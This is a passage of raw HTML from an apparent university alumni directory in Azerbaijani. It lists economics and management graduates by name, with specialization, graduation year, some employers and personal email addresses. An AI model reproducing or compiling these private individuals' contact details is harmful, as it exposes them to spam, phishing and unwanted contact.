margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:kenan.musayev_z@yahoo.com\">kenan.musayev_z@yahoo.com</a>&nbsp;&nbsp; </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kamal Quliyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:kamal-582@mail.ru\">kamal-582@mail.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kənan Məmmədli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">UNICEF, Proqram Meneceri</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> <a href=\"mailto:kenan.mammadov@britishcouncil.az\">kenan.mammadov@britishcouncil.az</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kənan Mirzəyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Dövlət Dəniz Administrasiyası</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:Kenan151@mail.ru\">Kenan151@mail.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kamran Qəhrəmanov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kəmalə Qiyasova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;&nbsp;<a href=\"mailto:kama_Giyas@hotmail.com\">kama_Giyas@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"Q\" style=\"font-weight:bold\">Q</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Qurban Qurbanov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Şəxsi bizness</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:lados_707@mail.ru\">lados_707@mail.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Qərib Səfərov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> &nbsp;<a href=\"mailto:garibsafarov@mail.ru\">garibsafarov@mail.ru</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:garibsafarov@mail.ru\"></a></strong>Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Qaraş Əsgərzadə</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:garash.asgarzada@gmail.com\">garash.asgarzada@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Qərib Mahmudov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"L\" style=\"font-weight:bold\">L</h3><p><strong>Leyla Mustafayeva </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail:<a href=\"mailto:Leyla.mustafaeva@hotmail.com\">Leyla.mustafaeva[at]hotmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Lalə Salayeva </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>İqtisadiyyat,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:la.salayeva@gmail.com\">la.salayeva[at]gmail.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>Leyli Quliyeva </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Menecment,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:lekulya96@mail.ru\">lekulya96[at]mail.ru</a> </p>\r\n<p><strong><br></strong></p><p><strong>Leyla Rəfizadə </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin idarə edilməsi,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:rafileyla@hotmail.com\">rafileyla[at]hotmail.com</a> </p>\r\n<p>VTB\r\nbank</p>\r\n<p><strong><br></strong></p><p><strong>Lalə Novruzova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>İqtisadiyyat,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:lalenovruzova123@gmail.com\">lalenovruzova123[at]gmail.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>Leyla Cəfərova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Menecment,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:Leylajafarova8@gmail.com\">Leylajafarova8[at]gmail.com</a> </p>\r\n<p><strong><strong><br></strong></strong></p><p><strong><strong>Leyli</strong>  Allahverdiyeva&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə Menecmenti, 2017</p>\r\n<p>E-mail:<a href=\"mailto:leyliallahverdi@gmail.com\">leyliallahverdi[at]gmail.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>Lalə&nbsp;</strong><strong>Osmanlı&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Menecment, 2017</p>\r\n<p>E-mail: <a href=\"mailto:lalelautner@icloud.com\">lalelautner[at]icloud.com</a> </p>\r\n<p>Azenco JSC-procurement specialist</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Lalə Aşumzadə&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr<strong> </strong>2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Axundzadə&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:leyla.axundzade@hotmail.com\">leyla.axundzade@hotmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Gözəlova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Xidmət\r\nqrupu, BP Azərbaycan</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:gozzla@bp.com\">gozzla@bp.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2008</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Ələkbərova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:Leyla.Elekberova92@mail.ru\">Leyla.Elekberova92@mail.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Nəsirova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi &nbsp;</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyla Tağıyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Paris, Fransa</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;&nbsp;<a href=\"mailto:leyla_tagieva@yahoo.com\">leyla_tagieva@yahoo.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Leyli Zamaldinova&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi<br>\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;&nbsp;<a href=\"mailto:leyloosha@hotmail.com\">leyloosha@hotmail.com</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:leyloosha@hotmail.com\"></a></strong>Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"font-weight: bold; background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"M\" style=\"font-weight:bold\"><strong>M</strong></h3><p><strong>Mina Əbilova <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin Təşkili və İdarə Edilməsi&nbsp; , 2017</p>\r\n<p>E-mail:<a href=\"mailto:abilovamina@rocketmail.com\">abilovamina[at]rocketmail.com</a> </p>  <p><strong><br></strong></p><p><strong>Məftun Hüseynli <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin təşkili və idarə edilməsi, 2017</p>\r\n<p>E-mail:<a href=\"mailto:huseynlimeftun@gmail.com\">huseynlimeftun[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Mirmustafa Seyidzadə </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>İqtisadiyyat, 2017</p>\r\n<p>E-mail: <a href=\"mailto:seyidzade93@mail.ru\">seyidzade93[at]mail.ru</a></p>\r\n<p>&nbsp;</p>\r\n<p><strong>Murad Abdullayev</strong></p>\r\n<p>İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail:&nbsp;<a href=\"mailto:Murad1996abdullayev@gmail.com\">Murad1996abdullayev[at]gmail.com</a></p>\r\n<p>&nbsp;</p>\r\n<p><strong>Mələksima Əskərli </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:meleksimaskerli@gmail.com\">meleksimaskerli[at]gmail.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>Mahir Məmmədov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:mahirrmm@mail.ru\">mahirrmm[at]mail.ru</a> </p>\r\n<p><strong><br></strong></p><p><strong>Musa İsayev </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin idarə edilməsi, 2017</p>\r\n<p>E-mail: <a href=\"mailto:musaisayev@yahoo.com\">musaisayev[at]yahoo.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>Məhsəti Məmmədova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>İqtisadiyyat,\r\n2017</p>\r\n<p>E-mail: <a href=\"mailto:mammadovamehseti@gmail.com\">mammadovamehseti[at]gmail.com</a> </p>\r\n<p><strong><br></strong></p><p><strong>Murad Qarayev </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə,\r\n2017</p>\r\n<p>E-mail: muradqarayev93[at]gmail.com</p><p><br></p><p><strong>Mədinə&nbsp;</strong><strong>Xəlilli&nbsp;</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Beynəlxalq İqtisadi Münasibətlər,\r\n2017</p>\r\n<p>E-mail:<a href=\"mailto:medina_kh@hotmail.com\">medina_kh[at]hotmail.com</a> </p>  <p><strong><br></strong></p><p><strong>Mehman Əskərov </strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə və kredit, 2017</p>\r\n<p>E-mail: <a href=\"mailto:asgarov.mehman@yahoo.com\">asgarov.mehman[at]yahoo.com</a></p>  <p><strong><br></strong></p><p><strong>Malik Səfərli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin təşkili və idarə edilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> &nbsp;<a href=\"mailto:malikenveroglu@gmail.com\">malikenveroglu@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Müzayyəm Əşrəfli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:muzeyyem1995@gmail.com\">muzeyyem1995@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Məhəmməd Aydın</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Mühasibat uçotu və audit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:muhammedaydin227@gmail.com\">muhammedaydin227@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Mikayıl Bağırlı</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və menecment</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<strong><a href=\"mailto:Mikayil.bagirli@gmail.com\">Mikayil.bagirli@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Murad İsayev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Biznesin Təşkili və&nbsp;İdarəedilməsi&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<strong><a href=\"mailto:is_murad@mail.ru\">is_murad@mail.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">MBA 2016</p>  <hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Məhərrəm Mustafayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Ernst &amp; Young Holdings (CIS) B.V., Department: Audit,\r\nİşçi heyət</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:m.mustafaev@gmail.com\">m.mustafaev@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Murad Mənsurov&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq&nbsp;İqtisadi Münasibətlər&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:murik_067@mail.ru\">murik_067@mail.ru</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Maksud Tuayev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Beynəlxalq İqtisadi Münasibətlər</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">ABŞ</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:maksudtuayev@yahoo.com\">maksudtuayev@yahoo.com</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:maksudtuayev@yahoo.com\"></a></strong>Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Mehdi Lahıcev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi<br>\r\n</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<strong><a href=\"mailto:mehdi_xazar@yahoo.com\">mehdi_xazar@yahoo.com</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:mehdi_xazar@yahoo.com\"></a></strong>Bakalavr 2009</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Mərziyə Şiriyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi, Biznesin idarə edilməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:marziya.shiriyeva@gmail.com\">marziya.shiriyeva@gmail.com</a></strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong><a href=\"mailto:marziya.shiriyeva@gmail.com\"></a></strong>Bakalavr 2015</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Məsud Ağakişiyev&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Maliyyə və kredit</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Hərbi xidmətdə</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong>&nbsp;<a href=\"mailto:masud_aghakishiyev@yahoo.com\">masud_aghakishiyev@yahoo.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2010&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Mövla Əliyev</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İqtisadiyyat</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<strong> &nbsp;<a href=\"mailto:eliyevmovlan@gmail.com\">eliyevmovlan@gmail.com</a></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2016&nbsp;</p><hr noshade=\"noshade\" style=\"font-weight:bold;width:100%;height:1px\"><br><h3 id=\"N\" style=\"font-weight:bold\"><strong>N</strong></h3><p style=\"background:undefined \"><strong>Nərmin Seyidova</strong></p><p>İqtisadiyyat və Menecment Fakültəsi</p><p>Mühasibat uçotu və audit, 2017</p><p>E-mail:&nbsp;<a href=\"mailto:n.kerimli@hotmail.com\">n.kerimli[at]hotmail.com</a></p><p>Azerbaycan Yelkənli İdman Federasiyası</p>  <p><strong><br></strong></p><p><strong>Natiq Səlimov <o:p></o:p></strong></p><p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:selimovnatiq@gmail.com\">selimovnatiq[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Namiq Məmmədzadə </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail:<a href=\"mailto:Namig.mammadzada@gmail.com\">Namig.mammadzada[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nail Axundov </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin təşkili və idarə edilməsi, 2017</p>\r\n<p>E-mail:<a href=\"mailto:Akhundov.nail@gmail.com\">Akhundov.nail[at]gmail.com</a></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Nərminə Budaqova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Biznesin təşkili və idarə edilməsi, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Budaqovanarmina@gmail.com\">Budaqovanarmina[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nigar İsgəndərova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail:<a href=\"mailto:nigariskenderova07@gmail.com\">nigariskenderova07[at]gmail.com</a></p>\r\n<p>&nbsp;</p>\r\n<p><strong>Nadir Qədirli </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail:<a href=\"mailto:nadir1990@live.com\">nadir1990[at]live.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nəzrin Bədəlova</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə, 2017</p>\r\n<p>E-mail:<a href=\"mailto:badalova_nazrin@bk.ru\">badalova_nazrin[at]bk.ru</a></p>\r\n<p><strong><br></strong></p><p><strong>Nicat Sabirli (Məmişov)</strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Maliyyə\r\nvə kredit, 2017</p>\r\n<p>E-mail:<a href=\"mailto:3002391@gmail.com\">3002391[at]gmail.com</a></p>\r\n<p><strong><br></strong></p><p><strong>Nərmin Abbasova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail:<a href=\"mailto:narmin.s.abbasova@gmail.com\">narmin.s.abbasova[at]gmail.com</a></p>\r\n<p>Deloitte&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Nuran Cəfərova </strong></p>\r\n<p>İqtisadiyyat və Menecment\r\nFakültəsi</p>\r\n<p>Mühasibat\r\nuçotu və audit, 2017</p>\r\n<p>E-mail: <a 